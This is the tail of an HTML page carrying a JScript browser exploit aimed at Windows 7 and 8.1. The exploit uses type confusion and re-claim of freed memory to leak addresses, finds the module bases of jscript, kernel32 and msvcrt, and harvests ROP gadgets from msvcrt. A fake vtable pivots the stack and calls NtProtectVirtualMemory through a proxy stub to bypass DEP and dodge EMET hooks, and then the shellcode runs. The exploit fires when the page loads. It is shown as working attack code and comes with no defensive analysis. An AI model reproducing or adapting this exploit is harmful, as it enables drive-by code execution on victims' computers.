run in DOS mode" in PE header. while(true) { if(LeakWord(Base) == 0x6854) { // 'hT' if(LeakWord(Base + 2) == 0x7369) { // 'si' return (Base - 0x4E); } } Base -= 0x10000; } return 0; } function ResolveExport(ModuleBase, TargetExportNameTable) { var FileHdr = LeakDword(ModuleBase + 0x3c); var ExportDataDir = ModuleBase + FileHdr + 0x78; if(ExportDataDir) { var EATRva = LeakDword(ExportDataDir); var TotalExports = LeakDword(ModuleBase + EATRva + 0x14); var AddressRvas = LeakDword(ModuleBase + EATRva + 0x1C); var NameRvas = LeakDword(ModuleBase + EATRva + 0x20); var OrdinalRvas = LeakDword(ModuleBase + EATRva + 0x24); var MaxIndex = TotalExports; var MinIndex = 0; var CurrentIndex = Math.floor(TotalExports / 2); var TargetTableIndex = 0; var BinRes = 0; while(TotalExports) { var CurrentNameRva = LeakDword(ModuleBase + NameRvas + 4*CurrentIndex); while (TargetTableIndex < TargetExportNameTable.length) { CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex))); var ExportNameWord = (TargetExportNameTable[TargetTableIndex] & 0x0000FFFF); var SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord); DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10)); if(!BinRes) { DebugLog("Matched!"); ExportNameWord = ((TargetExportNameTable[TargetTableIndex] & 0xFFFF0000) >> 16); if(ExportNameWord != 0) { // Special case: final WORD of name array is 0, consider this a match CurrentNameWord = LeakWord(ModuleBase + (CurrentNameRva + (4 * TargetTableIndex)) + 2); SanitizedCurrentNameWord = NullSanitizeWord(CurrentNameWord); BinRes = BinaryCmp(ExportNameWord, SanitizedCurrentNameWord); DebugLog("Compaaring 0x" + ExportNameWord.toString(16) + " to sanitized 0x" + SanitizedCurrentNameWord.toString(16) + " result: " + BinRes.toString(10) + " at index " + TargetTableIndex.toString(10)); if(!BinRes) { DebugLog("Matched!"); if((TargetTableIndex + 1) >= TargetExportNameTable.length) { Ordinal = LeakWord(ModuleBase + OrdinalRvas + 2*CurrentIndex); MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + 4*Ordinal)); return [ MainExport , CurrentIndex]; } else { DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10)); } TargetTableIndex++; } else { TargetTableIndex = 0; break; } } else { if((TargetTableIndex + 1) >= TargetExportNameTable.length) { Ordinal = LeakWord(ModuleBase + OrdinalRvas + (2 * CurrentIndex)); MainExport = (ModuleBase + LeakDword(ModuleBase + AddressRvas + (4 * Ordinal))); return [ MainExport, CurrentIndex]; } else { alert("Fatal error during export lookup: target export name array contained a NULL byte not at the end of its final element"); } } } else { TargetTableIndex = 0; break; } } if(BinRes == 1) { // Target is greater than what it was compared to: reduce current index if(MaxIndex == CurrentIndex) { DebugLog("Failed to find export: index hit max"); break; } MaxIndex = CurrentIndex; CurrentIndex = Math.floor((CurrentIndex + MinIndex) / 2); } else if (BinRes == -1) { // Target is less than what it was compared to: enhance current index if(MinIndex == CurrentIndex) { DebugLog("Failed to find export: index hit min"); break; } MinIndex = CurrentIndex; CurrentIndex = Math.floor((CurrentIndex + MaxIndex) / 2); } if(CurrentIndex == MaxIndex && CurrentIndex == MinIndex) { DebugLog("Failed to find export: current, min and max indexes are all equal"); break; } } } return [0,0]; } function CheckINTThunk(ModuleBase, INTThunkRva, TargetImportNameTable) { var INTThunkValue = LeakDword(ModuleBase + INTThunkRva); if(INTThunkValue == 0) { return -1; } if((INTThunkValue & 0x80000000) == 0) { // Only parse non-orginal INT entries var ImportNameAddress = (ModuleBase + INTThunkValue + 2); // The INT thunk is an RVA pointing at a IMAGE_IMPORT_BY_NAME struct. Skip the hint field in this struct to point directly to the ASCII import name. if(StrcmpLeak(TargetImportNameTable, ImportNameAddress)) { return 1; } } return 0; } function ResolveImport(ModuleBase, HintIndex, TargetModuleNameTable, TargetImportNameTable) { var ExtractedAddresss = 0; var FileHdr = LeakDword(ModuleBase + 0x3c); var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory var ImportRva = LeakDword(ImportDataDir); var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir var CurrentNameDesc = ModuleBase + ImportRva; while(ImportSize != 0) { NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer if(NameField != 0) { if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) { // Found the target module by name. Walk its INT to check each name. var HighIATIndex = (HintIndex + 1); var LowIATIndex = (HintIndex - 1); var BaseINTThunkRva = (LeakDword(CurrentNameDesc + 0x0)); var BaseIATThunkRva = (LeakDword(CurrentNameDesc + 0x10)); var ResolvedIATIndex = -1; if(BaseINTThunkRva == 0) { alert("INT is empty in target module"); } // Start by checking the INT at the specified hint index if(CheckINTThunk(ModuleBase, BaseINTThunkRva + (HintIndex * 4), TargetImportNameTable)) { ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva); break; } // Specified import was not found at the provided hint index. Walk the INT forward/backward in unison from the hint index. var HighINTThunkRva = (BaseINTThunkRva + (HighIATIndex * 4)); var LowINTThunkRva = (BaseINTThunkRva + (LowIATIndex * 4)); var HitINTThunkCeiling = 0; while(true) { if(!HitINTThunkCeiling) { var ThunkRes = CheckINTThunk(ModuleBase, HighINTThunkRva, TargetImportNameTable); if(ThunkRes == -1) { HitINTThunkCeiling = 1; } else if(ThunkRes) { ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (HighIATIndex * 4)); ResolvedIATIndex = HighIATIndex; break; } else { HighINTThunkRva += 4; HighIATIndex++; } } if(LowINTThunkRva >= BaseINTThunkRva) { if(CheckINTThunk(ModuleBase, LowINTThunkRva, TargetImportNameTable)) { ExtractedAddresss = LeakDword(ModuleBase + BaseIATThunkRva + (LowIATIndex * 4)); ResolvedIATIndex = LowIATIndex; break; } LowINTThunkRva -= 4; LowIATIndex--; } } if(ExtractedAddresss != 0) { DebugLog("Identified target import at IAT index " + ResolvedIATIndex.toString(10)); break; } } ImportSize -= 0x14; CurrentNameDesc += 0x14; // Next import descriptor in array } else { break; } } return ExtractedAddresss; } function ExtractBaseFromImports(ModuleBase, TargetModuleNameTable) { // Grab the first IAT entry of a function within the specified module var ExtractedAddresss = 0; var FileHdr = LeakDword(ModuleBase + 0x3c); var ImportDataDir = ModuleBase + FileHdr + 0x80; // Import data directory var ImportRva = LeakDword(ImportDataDir); var ImportSize = LeakDword(ImportDataDir + 0x4); // Get the size field of the import data dir var CurrentNameDesc = ModuleBase + ImportRva; while(ImportSize != 0) { NameField = LeakDword(CurrentNameDesc + 0xc); // 0xc is the offset to the module name pointer if(NameField != 0) { if(StrcmpLeak(TargetModuleNameTable, ModuleBase + NameField)) { ThunkAddress = LeakDword(CurrentNameDesc + 0x10); ExtractedAddresss = LeakDword(ModuleBase + ThunkAddress + 8); // +8 since __imp___C_specific_handler can cause issues when imported in some jscript instances break; } ImportSize -= 0x14; CurrentNameDesc += 0x14; // Next import descriptor in array } else { break; } } return ExtractedAddresss; } //////// //////// // Dynamic ROP chain creation code //////// function HarvestGadget(HintExportAddress, MaxDelta, Data, DataMask, MagicOffset) { var MaxHighOffset = (HintExportAddress + MagicOffset + MaxDelta); var MinLowOffset = ((HintExportAddress + MagicOffset) - MaxDelta); var LeakAddress = HintExportAddress + MagicOffset; var LeakFunc = LeakDword; // In nthe event a 0x00FFFFFF mask is used, LeakDword will be used, but will still be filtered if(MinLowOffset < HintExportAddress) { MinLowOffset = HintExportAddress; } DebugLog("Hunting for gadget 0x" + Data.toString(16) + " betwee 0x" + MinLowOffset.toString(16) + " and 0x" + MaxHighOffset.toString(16) + " starting from 0x" + LeakAddress.toString(16)); if(DataMask == 0x0000FFFF) { LeakFunc = LeakWord; } else { alert("Unhaandled data mask for gadget harvest"); return 0; } if((LeakFunc(LeakAddress) & DataMask) == Data) { DebugLog("Found gadget at expected delta of " + MagicOffset.toString(16)); } else { var HighAddress = (LeakAddress + 1); var LowAddress = LeakAddress - 1; LeakAddress = 0; while(LowAddress >= MinLowOffset || HighAddress < MaxHighOffset) { if(LowAddress >= MinLowOffset) { if((LeakFunc(LowAddress) & DataMask) == Data) { DebugLog("Found gadget from scan below magic at " + LowAddress.toString(16)); LeakAddress = LowAddress; break; } LowAddress -= 1; } if(HighAddress < MaxHighOffset) { if((LeakFunc(HighAddress) & DataMask) == Data) { DebugLog("Found gadget from scan above magic at " + HighAddress.toString(16)); LeakAddress = HighAddress; break; } HighAddress += 1; } } } return LeakAddress; } function ResolveNtProtectProxyStub(ScanAddress, MaxOffset) { /* Windows 7 x64 NTDLL Wow64 7725001A | 64:FF15 C0000000 | call dword ptr fs:[C0] | 77250021 | 83C4 04 | add esp,4 | 77250024 | C2 0800 | ret 8 | 77250027 | 90 | nop | 77250028 | E9 BB0857BF | jmp 367C08E8 | <- NtProtectVirtualMemory 7725002D | CC | int3 | 7725002E | CC | int3 | 7725002F | 8D5424 04 | lea edx,dword ptr ss:[esp+4] | 77250033 | 64:FF15 C0000000 | call dword ptr fs:[C0] | 7725003A | 83C4 04 | add esp,4 | 7725003D | C2 1400 | ret 14 | 77250040 | B8 4E000000 | mov eax,4E | 4E:'N' 77250045 | 33C9 | xor ecx,ecx | 77250047 | 8D5424 04 | lea edx,dword ptr ss:[esp+4] | 7725004B | 64:FF15 C0000000 | call dword ptr fs:[C0] | 77250052 | 83C4 04 | add esp,4 | 77250055 | C2 1400 | ret 14 | Windows 7 x86 NTDLL 32-bit 77305F18 | B8 D7000000 | mov eax,D7 | <- NtProtectVirtualMemory 77305F1D | BA 0003FE7F | mov edx,<&KiFastSystemCall> | <- stub resolved here 77305F22 | FF12 | call dword ptr ds:[edx] | 77305F24 | C2 1400 | ret 14 | */ var Offset = 0; var LastMovEaxAddress = 0; var ProxyStubAddress = 0; var RetnScenarioOne = 0; var RetnScenarioTwo = 0; // Scan forward searching for 0xB8 opcode. Once one is found, scan forward until 0xC2 0x14 0x00 is found. Proxy stub address will be the address of the last 0xB8 opcode +5. while(Offset < MaxOffset) { var LeakAddress = ScanAddress + Offset; var LeakedWord = LeakWord(LeakAddress); var ByteOne = (LeakedWord & 0x00FF); var ByteTwo = ((LeakedWord & 0xFF00) >> 8); if(ByteOne == 0xB8) { LastMovEaxAddress = LeakAddress; } else if(ByteTwo == 0xB8) { LastMovEaxAddress = (LeakAddress + 1); } /* Scenario one: Byte one = 0xc2 Byte two = 0x14 Next: Byte one = 0x00 -- Scenario two: Byte two - 0xC2 Next: Byte one - 0x14 Byte two - 0x00 */ else if(LastMovEaxAddress != 0) { if(!RetnScenarioOne) { if(ByteOne == 0xc2 && ByteTwo == 0x14) { RetnScenarioOne = 1; } } else { if(ByteOne == 0x00) { ProxyStubAddress = (LastMovEaxAddress + 5); DebugLog("NtProtectVirtualMemory proxy stub scenario one scan success: 0x" + ProxyStubAddress.toString(16)); break; } else { RetnScenarioOne = 0; } } if(!RetnScenarioTwo) { if(ByteTwo == 0xC2) { RetnScenarioTwo = 1; } } else { if(ByteOne == 0x14 && ByteTwo == 0x00) { ProxyStubAddress = (LastMovEaxAddress + 5); DebugLog("NtProtectVirtualMemory proxy stub scenario two scan success: 0x" + ProxyStubAddress.toString(16)); break; } else { RetnScenarioTwo = 0; } } } Offset += 2; } return ProxyStubAddress; } function ResolveGadgetSet(MsvcrtBase) { // Dynamically resolve gadget addresses via delta from export addresses - MSVCRT.DLL is used to harvest gadgets as its EAT is not protected by EAF/EAF+ var GadgetSetObj = new Object(); DebugLog("Dynamically resolving ROP gadget addresses from MSVCRT.DLL export address hints from base " + MsvcrtBase.toString(16)); // XCHG EAX, ESP; RET // For Win7 x64 Wow64: // __libm_sse2_log10:0x0008dc45 (+0x4f0) <- 0x0008e135 -> (+0x670) __libm_sse2_log10f:0x0008e7a5 // For Win8.1: //__libm_sse2_log10:0x000a9b80 (+0x4e5) <- 0x000aa065 -> (+0x67b) __libm_sse2_log10f:0x000aa6e0 var ExportPair = ResolveExport(MsvcrtBase, [0x696c5f5f, 0x735f6d62, 0x5f326573, 0x31676f6c, 0x00000030]); // 'il__' 's_mb' '_2es' '1gol' '0' if(ExportPair[0]) { GadgetSetObj.StackPivot = HarvestGadget(ExportPair[0], 0x100, 0xc394, 0x0000FFFF, 0x4f0); if(GadgetSetObj.StackPivot != 0) { DebugLog("Stack pivot resolved to: " + GadgetSetObj.StackPivot.toString(16)); GadgetSetObj.RopNop = (GadgetSetObj.StackPivot + 1); // POP EAX; RET // Win7/8 (+0x13 and same export on both) // _safe_fdivr:0x00031821 (+0x13) <- 0x00031834 -> (+0x208) _adj_fprem:0x00031a3c ExportPair = ResolveExport(MsvcrtBase, [0x6661735f, 0x64665f65, 0x00727669]); // 'fas_' 'df_e' 'rvi' if(ExportPair[0]) { GadgetSetObj.PopEax = HarvestGadget(ExportPair[0], 0x100, 0xc358, 0x0000FFFF, 0x00000013); // Win7/8.1 have same offset if(GadgetSetObj.PopEax) { return GadgetSetObj; } else { DebugLog("Failed to resolve POP EAX gadget address"); } } else { DebugLog("Failed to resolve msvcrt.dll!_safe_fdivr as export hint"); } } else { DebugLog("Failed to resolve stack pivot gadget address"); } } else { DebugLog("Failed to resolve msvcrt.dll!__libm_sse2_log10 as export hint"); } return null; } function CreateFakeVtable(FakeVtablePaddingSize, VtableSize, NtProtectAddress, ShellcodeAddress, RopGadgetSet, WritableAddress) { // [Padding] // [ROPNOP sled] // [Stack alignment gadget] // [Stack pivot] // [Set EAX to 0x4D] // [NtProtoectVirtualMemry] // [Shellcode address] <- NtProtoectVirtualMemry return // [NtProtoectVirtualMemry parameters] // [Stack pivot] // [Padding] var FakeVtable = ""; var X = 0; var Y = 0; var PaddingArrayLen = FakeVtablePaddingSize / 4; var TotalObjLen = ((FakeVtablePaddingSize + VtableSize) / 2); var PaddingArray = []; var SyscallNumber; for(i = 0; i < PaddingArrayLen; i++) { PaddingArray[i] = 0x11111111; } FakeVtable += ConvertDwordArrayToBytes(PaddingArray); DebugLog("Final stack pivot for vtable at " + RopGadgetSet.StackPivot.toString(16)); while (FakeVtable.length < TotalObjLen) { if(Y == 0x9c) { FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.StackPivot]); } else if(Y == 0x98) { FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]); } else { FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); } Y += 4; } // Layout of storage address region // +0x0 | Original ESP // +0x4 | Shellcode address // +0x8 | Shellcode size // +0xC | Old protection FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.PopEax]); if(WindowsVersion == 8.1) { SyscallNumber = 0x4F; // Windows 8.1 x64 NtProtectVirtualMemory SYSCALL # } else { if(WindowsArch == "x64") { SyscallNumber = 0x4D; // Windows 7 x64 SP0/SP1 Wow64 NtProtectVirtualMemory SYSCALL # } else if(WindowsArch == "x86") { SyscallNumber = 0xD7; // Windows 7 x86 SP0/SP1 32-bit NtProtectVirtualMemory SYSCALL # } } // NTSTATUS NtProtectVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID *BaseAddress, IN OUT PULONG RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect); FakeVtable += ConvertDwordArrayToBytes([SyscallNumber]); FakeVtable += ConvertDwordArrayToBytes([NtProtectAddress]); FakeVtable += ConvertDwordArrayToBytes([RopGadgetSet.RopNop]); // Return address FakeVtable += ConvertDwordArrayToBytes([0xFFFFFFFF]); FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x4]); FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0x8]); FakeVtable += ConvertDwordArrayToBytes([0x40]); // +RX (PAGE_EXECUTE_READ) causes problems due to the page alignment used by NtProtectVirtualMemory. The shellcode is unlikely to begin on a clean multiple of 0x1000, and similarly won't probably end on one either (although this attribute can be manipulated with padding). +RW data on the heap surrounding the shellcode may end up +RX and this causes crashes. FakeVtable += ConvertDwordArrayToBytes([WritableAddress + 0xC]); FakeVtable += ConvertDwordArrayToBytes([ShellcodeAddress]); FakeVtable += ConvertDwordArrayToBytes([0x11111111]); // Shellcode will return to this pseudo-address // Padding on the end of the vtable is not needed: both NtProtectVirtualMemory and the shellcode will be using memory below this address return FakeVtable; } //////// //////// // Misc. helper functions //////// function NullSanitizeWord(StrWord) { var Sanitized = 0; if(StrWord != 0) { if((StrWord & 0x00FF) == 0) { Sanitized = 0; // First byte is NULL, end of the string. } else { Sanitized = StrWord; } } return Sanitized; } function BinaryCmp(TargetNum, CmpNum) { // return -1 for TargetNum being greater, 0 for equal, 1 for CmpNum being greater if(TargetNum == CmpNum) { return 0; } while(true) { if((TargetNum & 0xff) > (CmpNum & 0xff)) { return -1; } else if((TargetNum & 0xff) < (CmpNum & 0xff)) { return 1; } TargetNum = TargetNum >> 8; CmpNum = CmpNum >> 8; } } function DwordToUnicode(Dword) { var Unicode = String.fromCharCode(Dword & 0xFFFF); Unicode += String.fromCharCode(Dword >> 16); return Unicode; } function TableToUnicode(Table) { var Unicode = ""; for (i = 0; i < Table.length; i++) { Unicode += DwordToUnicode(Table[i]); } return Unicode; } function ConvertDwordArrayToBytes(DwordArray) { var ByteArray = []; for (i = 0; i < DwordArray.length; i++) { ByteArray.push(DwordArray[i] & 0xffff); ByteArray.push((DwordArray[i] & 0xffff0000) >> 16); } return String.fromCharCode.apply(null, ByteArray); } function StrcmpLeak(StrDwordTable, LeakAddress) { // Compare two strings between an array of WORDs and a string at a memory address var TargetTableIndex = 0; while (TargetTableIndex < StrDwordTable.length) { var LeakStrWord = LeakWord(LeakAddress + (4 * TargetTableIndex)); var SanitizedStrWord = NullSanitizeWord(LeakStrWord); var TableWord = (StrDwordTable[TargetTableIndex] & 0x0000FFFF); DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16) + " original word " + LeakStrWord.toString(16)); if(TableWord == SanitizedStrWord) { LeakStrWord = LeakWord((LeakAddress + (4 * TargetTableIndex) + 2)); SanitizedStrWord = NullSanitizeWord(LeakStrWord); TableWord = ((StrDwordTable[TargetTableIndex] & 0xFFFF0000) >> 16); DebugLog("StrcmpLeak comparing 0x" + TableWord.toString(16) + " to 0x" + SanitizedStrWord.toString(16)); if(TableWord == SanitizedStrWord) { if((TargetTableIndex + 1) >= StrDwordTable.length) { return true; } else { DebugLog("Chunks are equal but not at final index, current is: " + TargetTableIndex.toString(10) + " DWORD array length is: " + StrDwordTable.length.toString(10)); } TargetTableIndex++; } else { break; } } else { break; } } return false; } //////// //////// // Primary high level exploit logic //////// function Exploit() { // Initialization StartTimer(); for(i = 0; i < 310; i++) SortArray[i] = [0, 0]; // An array of arrays to be sorted by glitched sort method var LFHBlocks = new Array(); // Trigger LFH for a size of 0x648 for(i = 0; i < 50; i++) { Temp = new Object(); Temp[Array(379).join('A')] = 1; // Property name size of 0x17a (378) will produce an allocation of 0x648 bytes LFHBlocks.push(Temp); } EndTimer("LFH"); // New set of untracked vars in freed GcBlock StartTimer(); NewUntrackedVarSet(); // Consistently 460 total DebugLog("Total untracked variables: " + UntrackedVarSet.length.toString(10)); // Re-claim with type confusion NameLists for(i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][SizerPropName] = 1; // 0x17a property name size for 0x648 NameList allocation size NameListAnchors[i]["BBBBBBBBB"] = 1; // 11*2 = 22 in 64-bit, 9*2 = 18 bytes in 32-bit NameListAnchors[i]["\u0003"] = 1; // This ends up in the VVAL hash/name length to be type confused with an integer VAR NameListAnchors[i]["C"] = i; // The address of this VVAL will be leaked } EndTimer("Infoleak VAR creation + re-claim"); // Leak final VVAL address from one of the NameLists StartTimer(); AnchorObjectsBackup = NameListAnchors; // Prevent it from being freed and losing our leaked pointer EndTimer("Anchor backup"); StartTimer(); var LeakedVvalAddress = 0; for(i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number" && UntrackedVarSet[i] > 0x1000) { LeakedVvalAddress = UntrackedVarSet[i]; break; } } EndTimer("Infoleak VAR scan"); DebugLog("leaked final VVAL address of " + LeakedVvalAddress.toString(16)); if(LeakedVvalAddress != 0) { var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding. for(i=0; i < 46; i++) { PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress, 0); } while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a // New set of untracked vars in freed GcBlock StartTimer(); NewUntrackedVarSet(); // Re-claim with leaked VVAL address vars (to be dereferenced for anchor object index extraction) for(i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][PrimaryVvalPropName] = 1; } EndTimer("Anchor index VAR creation + re-claim"); StartTimer(); // Extract NameList anchor index through untracked var dereference to leaked VVAL prefix VAR var LeakedVvalVar; for(i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number") { LeakedAnchorIndex = parseInt(UntrackedVarSet[i] + ""); // Attempting to access the untracked var without parseInt will fail ("null or not an object") LeakedVvalVar = UntrackedVarSet[i]; // The + "" trick alone does not seeem to be enough to populate this with the actual value break; } } DebugLog("Leaked anchor object index: " + LeakedAnchorIndex.toString(16)); // Verify that the VAR within the leaked VVAL can be influenced by directly freeing/re-claiming the NameList associated with the leaked NameList anchor object (whose index is now known) ReClaimIndexNameList(0x11, "A"); if(LeakedVvalVar + "" == 0x11) { // Create the mutable variable which will be used throughout the remainder of the exploit EndTimer("Anchor index VAR scan"); DebugLog("Leaked anchor object re-claim verification success"); ReClaimIndexNameList(0, CreateVar32(0x3, 0x22, 0)); var PrimaryVvalPropName = "AA"; // 2 wide chars (4 bytes) plus the 4 byte BSTR length gives 8 bytes: the size of the two GcBlock linked list pointers. Everything after this point can be fake VARs and a tail padding. for(i=0; i < 46; i++) { PrimaryVvalPropName += CreateVar32(0x80, LeakedVvalAddress + 0x30, 0); // +0x30 is the offset to property name field of 32-bit VVAL struct } while(PrimaryVvalPropName.length < 0x17a) PrimaryVvalPropName += "A"; // Dynamically pad the end of the proeprty name to a length of 0x17a // New set of untracked vars in freed GcBlock StartTimer(); NewUntrackedVarSet(); // Re-claim with leaked VVAL name property address vars (this is the memory address of the mutable variable that will be created) for(i = 0; i < NameListAnchorCount; i++) { NameListAnchors[i][PrimaryVvalPropName] = 1; } EndTimer("Mutable VAR reference creation + re-claim"); StartTimer(); for(i = 0; i < UntrackedVarSet.length; i++) { if(typeof UntrackedVarSet[i] === "number") { if(UntrackedVarSet[i] + "" == 0x22) { MutableVar = UntrackedVarSet[i]; break; } } } // Verify the mutable var can be changed via simple re-claim ReClaimIndexNameList(0, CreateVar32(0x3, 0x33, 0)); if(MutableVar + "" == 0x33) { // Test arbitrary read primitive EndTimer("Mutable VAR reference scan"); DebugLog("Verified mutable variable modification via re-claim"); if(LeakByte(LeakedVvalAddress + 0x30) == 0x8) { // Change mutable var to a BSTR pointing at itself. // Derive jscript.dll base from leaked Object vtable DebugLog("Memory leak test successful"); StartTimer(); var DissectedObj = new Object(); var ObjectAddress = LeakObjectAddress(LeakedVvalAddress, DissectedObj); var VtableAddress = LeakDword(ObjectAddress); DebugLog("Leaked vtable address: " + VtableAddress.toString(16)); var JScriptBase = DiveModuleBase(VtableAddress); if(JScriptBase != 0) { // Extract the first Kernel32.dll import from Jscript.dll IAT to dive for its base EndTimer("JScriptBase base leak"); DebugLog("Leaked JScript base address: " + JScriptBase.toString(16)); StartTimer(); var Kernel32ImportX = ExtractBaseFromImports(JScriptBase, [0x4e52454b, 0x32334c45]); if(Kernel32ImportX != 0) { EndTimer("Kernel32 random import leak"); StartTimer(); var Kernel32Base = DiveModuleBase(Kernel32ImportX); if(Kernel32Base != 0) { EndTimer("Kernel32.dll base resolution"); DebugLog("Successfully resolved kernel32.dll base at 0x" + Kernel32Base.toString(16)); StartTimer(); // Obtain the address of NtProtoectVirtualMemry via the imports of Kernel32.dll (which always imported NtProtoectVirtualMemry from NTDLL.DLL). This can be expensive operation, thus a hint may be used to skip ahead to the correct IAT/INT index for NtProtoectVirtualMemry depending on the version of Kernel32.dll var HintIndex = 141; // Windows 7 x64 - Wow64 Kernel32.dll 6.1.7601.17514 (win7sp1_rtm.101119-1850) var NtProtectAddress = ResolveImport(Kernel32Base, HintIndex, [0x6c64746e, 0x6c642e6c], [0x7250744e, 0x6365746f]); // 'rPtN' 'ceto' if(NtProtectAddress != 0) { EndTimer("NtProtoectVirtualMemry resolution"); DebugLog("Successfully resolved NtProtoectVirtualMemry address from kernel32.dll IAT: " + NtProtectAddress.toString(16)); // Obtain a random MSVCRT.DLL import from Jscript.dll and use it to identify the base of MSVCRT.DLL: it is from MSVCRT.DLL that the ROP gadgets will be harvested StartTimer(); var MsvcrtImportX = ExtractBaseFromImports(JScriptBase, [0x6376736d, 0x642e7472]); var MsvcrtBase = DiveModuleBase(MsvcrtImportX); EndTimer("MsvcrtBase base leak"); StartTimer(); var RopGadgetSet = ResolveGadgetSet(MsvcrtBase); EndTimer("ROP gadget resolution"); if(RopGadgetSet != null) { // NtProtoectVirtualMemry cannot/should not be used as the direct address for disabling DEP. EMET may have hooked it. Therefore, hunt for another syscall in NTDLL.DLL which has the same number of paraameters (same RETN value) as NtProtoectVirtualMemry and use it as a stub. StartTimer(); var NtProtectProxyStubAddress = ResolveNtProtectProxyStub(NtProtectAddress, 0x100); EndTimer("NtProtoectVirtualMemry proxy stub resolution"); if(NtProtectProxyStubAddress != 0) { // Convert the shellcode from a DWORD array into a BSTR and leak its address in memory. StartTimer(); var ShellcodeStr = TableToUnicode(Shellcode); var ShellcodeLen = (ShellcodeStr.length * 2); DebugLog("Shellcode length: 0x" + ShellcodeLen.toString(16)); ShellcodeStr = ShellcodeStr.substr(0, ShellcodeStr.length); // This trick is essential to ensure the "address of" primitive gets the actual address of the shellcode data and not another VAR in a chain of VARs (this happens when a VAR is appended to another repeaatedly as is the case here) var ShellcodeAddress = LeakObjectAddress(LeakedVvalAddress, ShellcodeStr); DebugLog("ShellcodeAddress address: " + ShellcodeAddress.toString(16)); // NtProtoectVirtualMemry has several parameters which are in/out pointers. Thus we must have a +RW region of memory whose contents we control and address we have leaked to carry these values. var WritableStr = ""; WritableStr += ConvertDwordArrayToBytes([0]); WritableStr += ConvertDwordArrayToBytes([ShellcodeAddress]); WritableStr += ConvertDwordArrayToBytes([ShellcodeLen]); WritableStr += ConvertDwordArrayToBytes([0]); WritableStr = WritableStr.substr(0, WritableStr.length); var WritableAddress = LeakObjectAddress(LeakedVvalAddress, WritableStr); // Create the fake vtable for the mutable var. The Typeof method of this vtable is what will be used to trigger the EIP hijack. Since the vtable serves as dual-role as both a vtable and an artificial stack (after the stack pivot) extra space/padding is used to accomodate this (NtProtectVirtualMemory itself will require this space for its stack usage) var FakeVtablePaddingSize = 0x10000; // 64KB should be plenty to accomodate stack usage within NtProtectVirtualMemory and within shellcode (if it does not stack pivot on its own) var FakeVtable = CreateFakeVtable(FakeVtablePaddingSize, 0x200, NtProtectProxyStubAddress, ShellcodeAddress, RopGadgetSet, WritableAddress); // Doing this in a separate function is crucial for the AddressOf primitive to work properly. Concatenated vars in the same scope end up as a linked list of VARs FakeVtable = FakeVtable.substr(0, FakeVtable.length); // Nice trick to fix the AddressOf primitive. VARs created with multiple concats of other VARs end up as a linked list of VARs // Re-claim NameList with mutable var set to region AFTER its own VAR in property name (as type 0x81). At this location in property name (+8 because of Type from generated VAR) the "object pointer" of the additional VAR (the fake vtable address) should be pointing at fake vtable BSTR +4 (to skip length var FakeVtableAddress = (LeakObjectAddress(LeakedVvalAddress, FakeVtable) + FakeVtablePaddingSize); EndTimer("Building shellcode, fake vtable, writable objects"); DebugLog("Fake vtable address: " + FakeVtableAddress.toString(16)); ReClaimIndexNameList(0, CreateVar32(0x81, LeakedVvalAddress + 0x30 + 16 + 8, 0) + CreateVar32(0, FakeVtableAddress, 0)); // VAR in VVAL will be a type 0x81 (not type 0x80) VAR. The 0x81 VAR pointer goes to the allocated (Array) object, the first 4 bytes of which are a vtable within jscript.dll DebugLog("Executing stack pivot for DEP bypass at " + RopGadgetSet.StackPivot.toString(16)); typeof MutableVar; DebugLog("Clean return from shellcode"); } else { DebugLog("Failed to resolve NtProtoectVirtualMemry proxy stub via opcode scan"); } } else { DebugLog("Fatal error: unable to dynamically resolve ROP gadget addresses"); } } else { DebugLog("Failed to resolve NtProtoectVirtualMemry from kernel32.dll IAT"); } } else { DebugLog("Failed to identify Kernel32.dll base address via import " + Kernel32ImportX.toString(16)); } } else { DebugLog("Failed to identify raandom kernel32.dll import address from JScript.dll IAT"); } } else { DebugLog("Failed to leak JScript.dll base address"); } } else { DebugLog("Memory leak test failed"); } } else { DebugLog("Failed to verify mutable variable modification via re-claim"); } } else { DebugLog("Failed to extract final VVAL index via re-claim"); } } else { DebugLog("Leaked anchor object type confusion re-claim failed"); } } Exploit(); </script> </head> </html>
